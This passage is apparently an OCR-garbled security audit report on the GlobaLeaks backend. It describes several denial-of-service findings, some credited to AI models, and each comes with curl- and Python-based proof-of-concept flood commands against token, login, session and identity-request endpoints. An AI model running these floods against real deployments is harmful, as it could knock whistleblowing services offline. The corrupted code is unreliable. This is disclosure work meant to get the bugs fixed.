Use a development instance with public submissions enabled and the default limits ( maxi rumfil esi ze = 30 ,
t hreshol d_at t achnent s_per _hour _per_report = 30 ). The same e ect can be reproduced through the web
client or with scripted HTTP requests that use a valid public whistleblower session.

Steps to reproduce

1. Create a normal whistleblower submission session and prepare a valid report in any public context.

# Wse the normal public intake flow or the browser client to obtain X-Session
# for a whistlebl ower report session.

2. Upload many allowed-size attachments to that report session before finalizing the report. Each upload uses a
unique flow dentifier ;the example below shows the single-chunk shape for one 30 MiB attachment.

head -c 31457280 /dev/zero > /tnp/ gl -attachment. bi n

curl -i -X POST 'https:// TARGET/ api / whi st | ebl ower/ subm ssi on/ att achnment' \
-H ' X-Session: <whistl ebl ower-sessi on>' \
-F ' flowFil enane=l arge. bin" \
-F *flowdentifier=delivery-bl ock-001" \
-F ' fl owlot al Si ze=31457280" \
-F ' fl owChunkNunber =1' \
-F ' fl owrot al Chunks=1" \
-F 'file=@tnp/gl-attachnent. bin'

3. Finalize the report through PGST / api / whi st | ebl ower / subm ssi on , or use the web client to submit it. The
submission transaction creates one | nternal Fil e row for each uploaded attachment.

The next Delivery job run wakes up within five seconds.

4. While the delivery job is running, send unrelated lightweight requests such as GET /api/public or CGET
/api / aut h/ t oken from another client and compare latency with and without the queued attachments.

The unrel ated requests are del ayed until Delivery.operation() finishes the
synchr onous copy/ encryption | oop.

Expected result
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Large attacker-controlled attachment delivery should be dispatched to a worker thread or otherwise
chunked/yielded so the reactor can continue processing unrelated requests and timers.
Actual result

Del i very. operation() resumes on the reactor after the database transaction and performs all pending

attachment copying, SecureTemporaryFile decryption, permanent-file writes, and optional report-key encryption
synchronously before yielding control back to Twisted.

Impact

This is a public availability vulnerability in the backend event loop. A submitter does not need recipient or
administrator privileges; the workload is queued through ordinary whistleblower attachment features and is
executed by a periodic service job after the upload requests have completed. During the synchronous delivery
loop, unrelated users can experience stalled authentication, public intake, recipient access, notification timers,
and other reactor-driven operations.

Impacted users or systems:

¢ Globaleaks backend instances with public submissions and attachment uploads enabled.

o Whistleblowers, recipients, and operators sharing the same Twisted backend process while queued
attachment delivery runs.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None High

Use of Blocking Code in Single-threaded, Non-blocking Context
Uncontrolled Resource Consumption
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9.6 F-035 - Identity requests flood custodians

Arecipient can spam identity-access requests until the custodian queue and notifications become noisy enough
to slow legitimate review.

IMPACT COMPONENT FOUND BY

Workflow denial of service Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

A recipient can repeatedly call POST /api/recipient/rtips/0/iars forthe same report. The backend does not
check for an existing pending identity-access request by the same recipient or report before creating a new

I dentityAccessRequest ,one |dentityAccessRequest Custodi an row per custodian, an audit-log entry, and
custodian notification email. A malicious recipient with access to a report can therefore grow identity-access state
and notification mail, and repeatedly interrupt custodians, without exceeding the intended report-access
boundary.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/reci pient/rtip.py - IdentityAccessRequestsCol | ection.p
ost(), create_identityaccessrequest(), db_create_identityaccessrequest_notificatio
ns()

backend/ gl obal eaks/ model s/ __init__.py - _ldentityAccessRequest,
_ldentityAccessRequest Cust odi an

PCST /api/recipient/rtips/<report-id>iars

Description:

Identity-access requests are meant to start a custodian approval workflow for a recipient who wants to reveal a
reporting person's identity. The endpoint is reachable to any recipient who already has access to the report.

create_identityaccessrequest() validates report access but then always creates a new IdentityAccessRequest row.
It does not query for an existing pending request for the same internaltip_id and request_user_id, nor does the
model define a uniqueness constraint that would collapse duplicates. For each request, the code also creates
one ldentityAccessRequestCustodian row per enabled custodian, logs request_identity_access, and calls
db_create_identityaccessrequest_notifications(). That notification function loops over all notification-enabled
custodians and queues one Mail row per custodian.

The generic rate limiter does not throttle recipient endpoints; its authenticated branch applies operation buckets
only to whistleblower sessions under Zapi/whistleblower/. A malicious recipient can therefore repeatedly submit
the same identity-access request and cause persistent row growth plus repeated custodian notifications for the
same report.

This is distinct from the existing identity-access authorization issue, which concerns authorized identity visibility
being shared across recipients. This issue concerns duplicate creation and notification/resource exhaustion
before any custodian approval is granted.

Relevant code:
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backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py

1400 cl ass |dentityAccessRequest sCol | ecti on(BaseHand! er):

1404 check_rol es = 'receiver'

1406 def post(self, itip_id):

1407 request = sel f.validate_request(self.request.content.read(),
requests. Recei ver | denti t yAccessRequest Desc)

1409 return create_i dentityaccessrequest (self.request.tid,

1410 sel f. sessi on. user_id,
1411 sel f. sessi on. cc,

1412 itip_id,

1413 request)

backend/ gl obal eaks/ handl ers/ reci pi ent/rtip. py

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

ISGroup

Public disclosure permitted

969 def create_identityaccessrequest(session, tid, user_id, user_cc, itip_id,

request):

979 user, rtip, itip = db_access_rtip(session, tid, user_id, itip_id)
983 iar = nodel s. | dentityAccessRequest ()

984 far.internaltip_id =itip.id

985 iar.request_user_id = user.id

986 iar.request_notivation = Base64Encoder . encode(

987 QCE asynmetric_encrypt(itip.crypto_tip_pub_key,

request['request _notivation']))
988 sessi on. add(i ar)

989 sessi on. fl ush()

991 db_| og(session, tid=tid, type='request_identity_access', user_id=user_id,
object_id=itip.id)

993 custodians = 0

994 for custodian in session.query(nodel s. User).filter(nodels.User.tid == tid,
nodel s. Wser.rol e == 'custodi an', nodel s. User. enabl ed == True):

995 iarc = nodel s. | dentityAccessRequest Qust odi an()

996 iarc.identityaccessrequest_id =iar.id

997 iarc.custodian_id = custodi an.id

998 iarc.crypto_tip_prv_key = Base64Encoder. encode( GCE. asymmet ri c_encrypt (
cust odi an. crypt o_pub_key, crypto_tip_prv_key))

999 sessi on. add(i arc)

1000 custodians += 1

1008 db_create_i dentityaccessrequest_notifications(session, itip, rtip, iar)

backend/ gl obal eaks/ handl ers/reci pient/rtip. py

939 for user in session.query(nodels. User).filter(nodels. User.role == "custodian',
940 nodel s. User.tid == itip.tid,
941

nodel s. User. notification.is_(True)):

959 subj ect, body = Tenpl ating().get_mail _subj ect _and_body(dat a)
961 sessi on. add( nodel s. Mai | ({

962 ‘address': data['user']['mail_address'],
963 'subj ect': subject,

964 " body' : body,

965 “tid o itip.tid

966 1)
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backend/ gl obal eaks/ nodel s/ __init__ . py

554 class _ldentityAccessRequest (Model ):

559 __tablenane__ = 'identityaccessrequest’

561 id = Col um(Uni codeText (36), prinary_key=True, defaul t=uui d4)

562 internal tip_id = Col um( Uni codeText (36), null abl e=Fal se, index=True)
563 request _date = Col unn( Dat eTi ne, def aul t=dat eti ne_now, nul | abl e=Fal se)
564 request _user _id = Gol uim( Uni codeText (36), nul | abl e=Fal se)

571 @lecl ared_attr

572 def _ table_args_ (self):

573 return Forei gnKeyConstraint(['internaltip_id], ["internaltip.id],

ondel et e=' CASCADE , deferrabl e=True, initially=" DEFERRED ),

576 class _ldentityAccessRequest Qust odi an( Mbdel ) :

580 __tablename__ = 'identityaccessrequest _custodi an'

582 i dentityaccessrequest_id = Col unn( Uni codeText (36), prinmary_key=True)
583 custodi an_i d = Gol unn( Uni codeText (36), prinmary_key=Tr ue)

PoC

Steps to reproduce

1. Authenticate as a recipient who has access to a report.

X- Sessi on: <recipi ent session id>
report_id: <internaltip id visible in /api/recipient/rtips>

2. Submit the identity-access request repeatedly for the same report.

curl -s -X PCST 'https://TARGET/ api/recipient/rtips/<report_id>iars' -H'Content-
Type: application/json' -H'X-Session: <recipient-session> --data
"{"request _notivation":"Need identity access"}'

3. Inspect the identity-access tables and mail spool.

Each accepted request creates another |dentityAccessRequest row. For each enabl ed
custodian it also creates an IdentityAccessRequest Qustodi an row, |ogs another
request _identity_access event, and queues another custodi an notification enail.

Expected result

The backend should reject duplicate pending identity-access requests for the same report and requesting
recipient, or update/reuse the existing pending request. Notification mail should be sent only when a new
workflow is actually created.

Actual result

Every POST creates a new workflow and notification set for the same recipient/report pair, with no pending-
request check or uniqueness constraint.

Impact

This is an authenticated recipient abuse and availability issue. A malicious recipient can create unbounded
identity-access workflow state, force repeated custodian notifications, and make the custodian approval queue
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noisy enough to delay legitimate identity-access decisions. The impact scales with the number of custodians
configured for the tenant.

Impacted users or systems:

e Custodians receiving identity-access request notifications.
e Administrators and custodians reviewing identity-access and audit history.

o Deployments whose database and mail spool capacity is shared with production notification tra c.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low High

Allocation of Resources Without Limits or Throttling
CWE-400 ) Uncontrolled Resource Consumption
Use of Multiple Resources with Duplicate Identifier
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9.7 F-037 - Public tokens exhaust server state

A remote unauthenticated client can repeatedly request tokens and force the process to retain token objects and
Twisted delayed-call timers until their timeout expires.

IMPACT COMPONENT FOUND BY

Resource exhaustion Backend Claude Sonnet 4.6 medium
via run_codex_cwe_line vl

The public /api/aut h/token endpoint allocates a server-side proof-of-work token object for every request, but
the backing State.tokens store has no maximum size and the endpoint is not subject to the login or operation

rate limits. A remote unauthenticated client can repeatedly request tokens and force the process to retain token
objects and Twisted delayed-call timers until their timeout expires.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ aut h/ t oken. py: TokenHandl er . post
backend/ gl obal eaks/ uti | s/t oken. py: TokenLi st. new

backend/ gl obal eaks/ util s/tenpdict. py: TenpDi ct. __setitem _
backend/ gl obal eaks/rest/decorators. py: decorator_rate_|imt

Description:

/api / aut h/ t oken is intentionally public and is listed in BYPASS PATHS , so it does not need an existing session
or token. The handler calls State.tokens. new() foreach POST. TokenList.new() createsanew Token ,
insertsitinto State.tokens ,and TenpDict._ setitem () schedulesone Twisted delayed call perinserted
token.

Unlike RateLimt ,which extends LRUCache with a maximum size, TokenLi st extends plain TenpD ct and

has no maximum entry count. The rate-limit decorator only applies the login counters to
/api /aut h/aut hentication and /api/auth/receiptauth when no session is present; it does not throttle

[ api / aut h/ t oken . Therefore a remote unauthenticated client can grow St at e. t okens and the reactor's
pending delayed-call heap for the full token lifetime, currently initialized as 60 seconds.

Relevant code:

backend/ gl obal eaks/ handl er s/ aut h/ t oken. py

6 class TokenHandl er (BaseHand! er):

10 check_roles = 'any'
12 def post(self):
17 return State.tokens. new(self.request.tid, self.session).serialize()
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backend/ gl obal eaks/ uti | s/t oken. py

33 class TokenLi st (TenpDict):
34 def new(self, tid, session=None):

35 token = Token(tid)
40 sel f[token.id] = token
42 return token

backend/ gl obal eaks/ uti| s/ tenpdict. py
5 class TenpDict(dict):

13 def _ setitem (self, key, value):

14 val ue. expireCal| = self.reactor.call Later(self.timeout,
self.__delitem , key)
15 return dict. _setitem (self, key, value)

backend/ gl obal eaks/ r est/ decor at or s. py
15 BYPASS PATHS = {b"/api/auth/token", b"/api/auth/type", b"/api/report"}

127 el se:

128 if self.request.path in [b'/api/auth/authentication', b'/api/auth/
recei ptauth', b'/api/auth/authentication']:
129 del ay = State. RateLimt.check(b"l ogi ns_per_m nute_per_tenant _per _i

p:" +tid + b":" + client_ip,

PoC

Steps to reproduce

1. Send many unauthenticated POST requests to the token endpoint.

for i in $(seq 1 100000); do

curl -sk -X POST 'https:// TARCET/ api / aut h/ t oken' >/dev/null &
done
vai t

2. Observe the server process while the requests are in flight and for the token lifetime afterward.

ps -0 pid,rss,cnd -C gl obal eaks

3. Repeat the burst before the 60-second token timeout expires.

Each successful request creates a distinct token entry and a del ayed cl eanup call .
There is no configured cap conparabl e to " RateLinit(10000)" and no endpoint -
specific throttle for “/api/auth/token .

Expected result

Public proof-of-work token issuance should be bounded by per-IP or global rate limits and by a maximum server-
side token-store size, so unauthenticated clients cannot grow process memory or the reactor timer queue without
limit.

Actual result
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Every unauthenticated /api/aut h/token POST allocates a new server-side token object and delayed cleanup
call. The token store is only time-limited, not size-limited or request-rate-limited.

Impact

This is an unauthenticated resource-consumption issue in the proof-of-work mechanism that is meant to protect
other operations from abuse. A remote attacker can increase backend memory usage and the number of pending
reactor timers, potentially degrading availability or contributing to process exhaustion under sustained request
volume.

Impacted users or systems:

¢ Globaleaks backend deployments reachable over the network.

¢ Operators relying on proof-of-work tokens and backend rate limits to bound unauthenticated request cost.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None High

Allocation of Resources Without Limits or Throttling
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9.8 F-055 - Public sessions exhaust backend
state

Empty-receipt authentication can be abused to accumulate large amounts of whistleblower session state in
backend memory.

IMPACT COMPONENT FOUND BY
Resource exhaustion Backend GPT-5.5 medium via
run_codex_cwe_line v1

In deployments that accept submissions, a remote client can force the backend to retain many whistleblower
session objects, encrypted session copies, Twisted delayed-call timers, generated key material, and proof-of-
work token objects for the full authentication lifetime.

The public receipt-auth endpoint creates a new in-memory whistleblower submission session whenever it
receives an empty receipt. After a caller has any valid public session, repeated empty-receipt requests avoid the
unauthenticated login throttling branch and allocate additional session objects and proof-of-work tokens that
remain in memory until expiration.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__. py: Recei pt Aut hHandl er
backend/ gl obal eaks/ sessi ons. py:initialize_subm ssi on_sessi on
backend/ gl obal eaks/ rest/decorators. py: decorator_rate_limt

Description:

PCST / api / aut h/ recei pt aut h is public and supports the normal submission flow by accepting an empty
receipt. In that branch the handler calls initialize_subm ssion_sessi on() ,which creates a new whistleblower
session with a fresh UUID user id.

Sessions are stored in the process-wide Sessi onsFactory ,a TenpDict with no maximum size.
Sessi ons. new() revokes only sessions with the same tenant and user id before inserting a new encrypted

session. Because public submission sessions use a fresh UUID every time, repeated calls do not revoke previous
entries. Each Session also allocates a proof-of-work token through State. t okens. new() .

The first empty-receipt call requires the public proof-of-work token, but once the caller includes the returned x-
sessi on , the rate-limit decorator enters the if sel f.session branch. The report-submission throttles apply
only to /api/whi st ebl ower/ subm ssi on , and the login throttles for /api/auth/recei ptauth run only when

sel f. sessi on is absent. As a result, one public session can be used to mint many additional public sessions and
associated tokens without the configured login or report-submission throttles.

Relevant code:
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backend/ gl obal eaks/ handl ers/auth/ __init__.py
240 cl ass Recei pt Aut hHandl er (BaseHandl er):
244 check_rol es = 'any'
258 if request['receipt']:
259 session = yield | ogi n_whistlebl oner (sel f.request.tid,

request['receipt'],

260 sel f.request.client_using_tor,
operat or_i d)

261 el se:

262 if not self.state.accept_subm ssions or

sel f.state.tenants[sel f.request.tid].cache['di sabl e_subm ssions']:

263 rai se errors. Subni ssi onD sabl ed

264

265 session = initialize_subm ssion_session(sel f.request.tid)

backend/ gl obal eaks/ sessi ons. py

19 self.attrs = {

26 ‘token': State.tokens.new(tid),

94 def new(self, tid, user_id, user_tid, user_role, cc=""', ek=""):
95 sel f.revoke(tid, user_id)

96 session = Session(tid, user_id, user_tid, user_role, cc, ek)
97 encrypt ed_sessi on = sessi on. encrypt ()

98 sel f[ encrypt ed_session.id] = encrypted_sessi on

99 return session

109 Sessions = SessionsFactory(tinmeout=Settings.authentication_|ifetine)

112 def initialize_subm ssion_session(tid):

113 prv_key, pub_key = GCE generate_keypair ()

114 return Sessions.new(tid, uuid4(), tid, 'whistleblower', prv_key)

backend/ gl obal eaks/ rest/ decor at or s. py

90 if self.session:

91 user_id = sel f.session.user_id. encode()

92

93 if self.session.role == "whistleblower' and path.startsw th(b'/api/
whi st ebl over/"):

94 if self.request.path == b'/api/whistlebl ower/subm ssion':

95 bl ock = State. RateLi mt.check(b"reports_per_hour_per_tenant_pe
r_ip:" +tid,

127 el se:

128 if self.request.path in [b'/api/auth/authentication', b'/api/auth/
recei ptauth', b'/api/auth/authentication']:

129 delay = State. RateLimt.check(b"l ogi ns_per_m nute_per_tenant _per _i
p:" +tid+ b":" + client_ip,

PoC

Steps to reproduce

1. Obtain and solve a normal proof-of-work token for the public receipt-auth endpoint, then create an initial

submission session with an empty receipt.

PCST / api / aut h/ recei pt aut h
x-token: <token-id>: <pow answer >

{"receipt":""}
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2. Reuse the returned session id to send many more empty-receipt requests.

PCST / api / aut h/ recei pt aut h
X-sessi on: <publ i c-whi st ebl ower - sessi on-i d>

{"receipt":""}

3. Observe that every successful response contains a distinct new session id and a distinct embedded token,
while the earlier sessions remain valid until Settings. aut hentication_|ifetinme expires.

Repeat ed aut henticated enpty-receipt calls continue allocating entries in
"Sessions’ and “State.tokens® without reaching the unauthenticated login throttles
or the “/api/whistlebl ower/subm ssion” report throttles.

Expected result

Public submission-session creation should be bounded by a per-IP, per-tenant, or per-system limit, and creating a
replacement public submission session should not leave unlimited prior session objects alive.

Actual result

A remote unauthenticated client can create one public session and then use it to allocate many more process-
resident session and token objects until they expire.

Impact

This is a resource-exhaustion issue in the public submission flow. On deployments that accept submissions, a
remote client can force the backend to retain many whistleblower session objects, encrypted session copies,
Twisted delayed-call timers, generated key material, and proof-of-work token objects for the full authentication
lifetime. The impact is bounded by deployment-level request filtering and available memory, but the application-
level stores themselves do not enforce a maximum size for this path.

Impacted users or systems:

o Globaleaks tenants with submissions enabled.

e Backend processes relying on in-memory session and token stores for public submission sessions.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None High

CWE-770 ) Allocation of Resources Without Limits or Throttling
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9.9 F-057 - POW validation stalls request loop

Invalid proof-of-work redemptions can force expensive Argon2 checks on the reactor thread and slow the entire
service.

IMPACT COMPONENT FOUND BY

Service denial of service Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Proof-of-work token validation runs Argon2 synchronously while a request handler is being constructed on the
Twisted reactor thread. An unauthenticated remote client can request public tokens from /api / aut h/ t oken ,
then submit each token with an invalid answer to any token-protected POST endpoint. The backend performs the
Argon2 verification before decorators reject the request, so a burst of invalid token redemptions can monopolize
the single reactor thread and delay unrelated users across the service.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ rest/api.py - QApi.render()

backend/ gl obal eaks/ handl ers/ base. py - BaseHandler. _init_ (),

BaseHandl er. get _sessi on()

backend/ gl obal eaks/ uti | s/token. py - TokenList.validate(), Token.validate()
backend/ gl obal eaks/ utils/crypto.py - _GCE argon2id()

backend/ gl obal eaks/ handl er s/ aut h/ t oken. py - TokenHand! er. post ()

Description:

The API dispatcher instantiates the handler before the method decorators run. BaseHandler,__init__ calls
get_session(), which immediately validates any X-Token header or token query argument.

TokenListvalidate() pops the token by ID and then calls Tokenvalidate(). Tokenvalidate() computes
GCE.argon2id(selfid + answer, selfsalt, 1, 1 << 20) to check whether the last byte of the decoded hash is zero. That
Argon2 work is synchronous and _GCE.argon2id() also holds a process-global lock around the libsodium call.

Because this happens during handler construction, it runs on the reactor thread before
decorator_require_session_or_token(), decorator_rate_limit(), or the endpoint handler can reject the request.
/api/auth/token is public and creates tokens without authentication, so an unauthenticated attacker can obtain
many one-use tokens and redeem them with deliberately wrong answers. Each wrong answer still forces the
server-side Argon2 verification and only then fails.

This is distinct from the unbounded token-store issue: the resource consumed here is CPU/event-loop time
during token validation, not retained token memory or delayed-call timers from token creation.

Relevant code:

# backend/ gl obal eaks/ rest/ api . py
f = getattr(handl er, nethod)
groups = natch. groups()

sel f. handl er = handl er(State, request) # BaseHandler. __init__ runs here

request . set ResponseCode( sel . net hod_nap[ net hod] )
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# backend/ gl obal eaks/ handl er s/ base. py
cl ass BaseHandl er (obj ect):

def

def

_init__(self, state, request):

sel f.nane = type(self).__name__
self.state = state

sel f.request = request
self.request.start_tinme = datetine. now()
sel f.token = None

sel f.session = sel f.get_session()
get _session(sel f):

token = sel f.request. headers. get (b' x-t oken")
token_arg = sel f.request. args. get (b"t oken")
if token_arg:

token = token_arg[ 0]

if token:
try:
sel f.token = sel f.state.tokens. validat e(token)

# backend/ gl obal eaks/ uti | s/t oken. py
cl ass Token(obj ect):

def

1, 1 <<
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val i date(sel f, answer):
try:

if not Base64Encoder.decode(GCE argon2i d(sel f.id + answer, self.salt,
20))[31] == 0:

raise errors. | nternal ServerError("TokenFail ure:
except Exception:
rai se errors. | nternal ServerError (" TokenFai |l ure:

class TokenLi st (TenpDi ct):

def

val i date(sel f, answer):

try:
key, answer = answer.split(b":")
token = sel f. pop(key)
token. val i dat e( answver)

# backend/ gl obal eaks/ uti | s/ crypto. py

def argon2i d(password: str, salt: str, opslimt:

int =16, nemimt:

27) -> str:
password = _convert _to_byt es(passwor d)

salt

= _convert_to_bytes(salt)

with | ock:

PoC

salt _dec = Base64Encoder. decode(sal t)
hashv = argon2i d. kdf (

32,

passwor d,

sal t _dec[ 0: 16],

opslimt=opslimt,

nen i mt=nenmimt
)

return Base64Encoder . encode( hashv) . decode()

Invalid Token")

Invalid token")

int =1<<

The issue can be reproduced against any reachable Globaleaks backend. It does not require a user account.

Steps to reproduce

1. Obtain

many public proof-of-work tokens.
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TARGET=' ht t ps: // <host >'
for i in $(seq 1 500); do

curl -sk -X POST "$TARCET/ api / aut h/ t oken"
done > /tnp/ gl -tokens.jsonl

2. Redeem those tokens with deliberately wrong answers against a token-protected endpoint. The handler will
reject the request for missing a valid token, but only after performing Argon2 validation for the supplied token.

python3 - <<'PY' | xargs -P50 -1{} curl -sk -X PCST "$TARGET/ api /support” \
-H ' Content-Type: application/json \
-H "X Token: {}:0" \
--data '{}' >/dev/null
inport json
for line in open('/tnp/gl-tokens.jsonl"):
print(json.loads(line)['id])
PY

3. While the invalid redemptions are running, measure latency for an unrelated endpoint.

tine curl -sk "$TARCET/ api/heal th"

Expected result

Server-side proof-of-work validation should not monopolize the reactor thread. Invalid or expensive token
verification should run in a bounded worker pool, be rate-limited before expensive work starts, or use a server-
cheap verification mechanism.

Actual result

Every invalid token redemption performs synchronous Argon2 verification during handler construction on the
reactor thread. A burst of requests queues CPU-bound work on the single event loop before normal decorator
rejection or endpoint logic can run.

Impact

This is an unauthenticated availability issue in the proof-of-work mechanism that is intended to protect public
endpoints from abuse. An attacker can use public token issuance plus invalid token redemptions to consume
CPU on the Twisted reactor, delaying whistleblower submissions, recipient report access, administrator actions,
and health checks handled by the same backend process.

Impacted users or systems:

e Globaleaks backend deployments reachable over the network.
o Whistleblowers, recipients, administrators, and custodians sharing the a ected backend process.

e Operators relying on proof-of-work tokens to make public request abuse expensive.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None High

Use of Blocking Code in Single-threaded, Non-blocking Context
Uncontrolled Resource Consumption
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9.10 F-073 - Login PoW drains throttle

An attacker can consume shared login-throttle capacity without paying the intended proof-of-work cost.

IMPACT COMPONENT FOUND BY

Login availability loss Backend GPT-5.5 medium via
run_codex_cwe_line v1

Login endpoints are expected to be protected by a proof-of-work token before the authentication request is
processed. The backend, however, applies shared login rate-limit buckets before it enforces the token/session
requirement. An unauthenticated client can therefore send direct login requests without solving the proof-of-
work and still consume tenant-wide and system-wide login throttle capacity, causing legitimate users to be
delayed during login.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ rest/decorators. py: decorator_rate_|imt

backend/ gl obal eaks/ rest/decor at ors. py: decor at or _r equi r e_sessi on_or _t oken
backend/ gl obal eaks/ handl ers/auth/ __init__. py: Aut henti cati onHandl er. post

backend/ gl obal eaks/ handl ers/auth/ __init__. py: Recei pt Aut hHandl er . post
client/app/src/services/root/app-interceptor.service.ts:applnterceptor.intercept

Description:

The Angular client treats /api/auth/authentication and unauthenticated /api/auth/receiptauth as protected
URLs. It first requests /Zapi/auth/token, solves a proof-of-work challenge, and sends the answer in X-Token with
the login request.

On the backend, POST/PUT/DELETE handlers are wrapped with decorator_require_session_or_token and then
decorator_rate_limit. Because decorator_rate_limit is applied after decorator_require_session_or_token, it
becomes the outer wrapper and executes first. For login paths with no session, it debits the login rate-limit
buckets before decorator_require_session_or_token can reject requests that omit X-Token.

The a ected login buckets include tenant-wide and system-wide counters. With default settings, the tenant-wide
login bucket allows 20 login attempts per minute. Distributed unauthenticated requests that omit X-Token can
consume that shared bucket without paying the proof-of-work cost that legitimate clients pay, causing real login
requests for the same tenant to be delayed up to the 60 second cap while the attacker continues refreshing the
bucket pressure.

Relevant code:
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# backend/ gl obal eaks/ rest/ decor at or s. py
BYPASS PATHS = {b"/api/auth/token", b"/api/auth/type", b"/api/report"}

def decorator_require_session_or_token(f):

# Decorator that ensures a token or a session is included in the request

def wrapper(self, *args, **kwargs):
if self.request.path not in BYPASS PATHS and not
has_sessi on_or_token(sel f):

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513
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Public disclosure permitted

raise errors.Internal ServerError("Invalid request: No token and no

session")
return f(self, *args, **kwargs)

return wapper

def decorator_rate_ limt(f):
def wrapper(self, *args, **kwargs):

el se:

if self.request.path in [b'/api/auth/authentication', b'/api/auth/

recei ptauth', b'/api/auth/authentication']:

delay = State. RateLi mt.check(b"l ogi ns_per_m nute_per_t enant _per _i

p:" +tid+Db":" +client_ip,

root _tenant. cache. t hreshol d_| ogi ns_p

er _m nut e_per _t enant _per_i p,
60)

del ay = delay or \

State. RateLimt.check(b"l ogi ns_per_m nute_per_ip:" +

client_ip,

root _tenant. cache. t hreshol d_| ogi ns_p

er_mnute_per_ip,
60)

delay = delay or \

State. RateLi m t.check(b"l ogi ns_per_m nute_per_tenant:" +

tid,

root _tenant. cache. t hreshol d_| ogi ns_p

er _mnut e_per_tenant,
60)

del ay = delay or \

State. RateLimt.check(b"l ogi ns_per_m nute_per_systent,
root _tenant. cache. t hreshol d_| ogi ns_p

er _ni nut e_per _syst em
60)

elif delay:
d = deferred_sl eep(mn(60, 0.2 * 2 ** del ay))
d. addCal | back(l anbda _: f(self, *args, **kwargs))
return d

return f(self, *args, **kwargs)

return wapper

def decorate_nethod(h, nethod):

if method in ["delete', "post', 'put']:
f = decorator_require_session_or_t oken(f)
if State.settings.enable rate |imting:
f = decorator_rate_ |imt(f)

f = decorator_authentication(f, roles)
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# client/app/src/services/root/app-interceptor.service.ts
const protectedUrls = [

“api/w zard",

"api/aut h/ aut henti cati on",

"api / aut h/ type",

“api / aut h/ t okenaut h*,

"api/user/reset/password",

"api/recipient/rtip",

“api / support*"

if (httpRequest.url.includes("api/signup")
|| (httpRequest.url.endsWth("api/auth/receiptauth") &&
I'this.authenticationService. sessi on)
|| protectedUrls.includes(httpRequest.url)) {
return this. httpdient. post("api/auth/token", {}).pipe(
swi t chMap( (response) =>
fron{this.cryptoService. proof & Wr k( (hj ect . assi gn( new TokenResponse(),
response))). pi pe(
swi tchMap((ans) => next. handl e( htt pRequest . cl one({
headers: httpRequest. headers. set ("x-token", " ${Chject.assi gn(new
TokenResponse(), response).id}: ${ans}")
. set ("Accept - Language", this. get Accept LanguageHeader() || ""),
1))
)
)
)5
}

# backend/ gl obal eaks/ nodel s/ confi g_desc. py

"t hreshol d_| ogi ns_per_m nute_per_system: |nt(defaul t=1000),

"t hreshol d_| ogi ns_per_m nute_per_tenant': |nt(defaul t=20),
'threshol d_| ogi ns_per_m nute_per_ip': Int(defaul t=20),

"threshol d_| ogi ns_per_m nute_per_tenant_per_ip': Int(defaul t=1),

PoC

The following proof-of-concept uses direct HTTP requests and intentionally omits X- Token . It assumes rate
limiting is enabled, which is the default in backend/ gl obal eaks/ setti ngs. py .

Steps to reproduce

1. Start or use a Global eaks instance with default login thresholds.

TARCGET=' htt ps: // TARGET'

2. From more than 20 distinct source IP identities, send one malformed login request to the same tenant within
one minute. No /api/aut h/token request and no proof-of-work answer are required.

curl -k -s -X POST "$TARGET/ api / aut h/ aut hent i cation" \
-H ' Content-Type: application/json' \
--data '{"tid":1, "usernane":"admn", "password": "w ong", "aut hcode":""}"

3. Attempt a normal login through the web client, or send a valid login request with a fresh proof-of-work token.
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The backend applies decorator_rate |init before it checks whether the |ogin
request has a token or session. Onhce the shared tenant bucket is exhausted, the
legitimate login is del ayed by deferred_sl eep before authentication processing
conti nues.

Expected result

Login rate-limit buckets that a ect other users should only be consumed after the request satisfies the intended
proof-of-work/session gate, or the proof-of-work gate should execute before shared throttling state is mutated.
Actual result

Requests without X- Token still consume login rate-limit buckets before they are rejected for missing a
token/session. Shared tenant and system buckets can therefore be depleted by unauthenticated clients that do
not solve the proof-of-work challenge.

Impact

This is a lockout-mechanism error a ecting availability of authentication. The issue does not disable individual
accounts permanently, but it lets unauthenticated attackers trigger shared login delays more cheaply than
legitimate clients because they bypass the intended proof-of-work cost.

Impacted users or systems:

¢ Internal users attempting to log in to a targeted tenant while the shared login bucket is exhausted.
¢ Whistleblowers attempting receipt authentication on the targeted tenant.

o Deployments relying on the proof-of-work login gate to make large-scale login throttling attacks expensive.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None Low

Overly Restrictive Account Lockout Mechanism
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9.11 F-095 - Onion logins share slowdown
bucket

One attacker on the onion service can saturate the shared slowdown bucket and delay authentication for all other
onion users.

IMPACT COMPONENT FOUND BY
Login availability loss Backend GPT-5.5 xhigh via
run_codex_cwe_line v2

Global eaks rate-limits unauthenticated login and receipt-authentication requests by the request's apparent client
IP address. For Tor onion-service tra c, all requests are forwarded to the backend's local 8083 listener, so the
backend sees the Tor process/local listener address instead of a distinct remote client. A remote unauthenticated
attacker who sends repeated login attempts through the onion service can therefore saturate the shared per-IP
slowdown bucket and force all other onion-service users on the same tenant to wait up to 60 seconds for
authentication.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ servi ces/tor. py: Tor Servi ce. | oad_oni on_servi ce
backend/ gl obal eaks/ rest/ api . py: Resour ce. r ender

backend/ gl obal eaks/rest/decorators. py: decorator_rate_|imt

backend/ gl obal eaks/ nodel s/ config_desc. py:login rate-limt defaults
PCST / api / aut h/ aut hent i cati on

PCST / api / aut h/ recei pt aut h

Description:

The onion service forwards public onion tra c to the backend's local HTTP listener on port 8083. The request
renderer marks any request received on port 8083 as Tor tra c, but the generic rate limiter still derives the login
throttling identity from request.client_ip. On onion-service requests this value is the local Tor/backend peer
address, not the real remote Tor client.

The default login limit includes threshold_logins_per_minute_per_tenant_per_ip = 1. Because every onion client
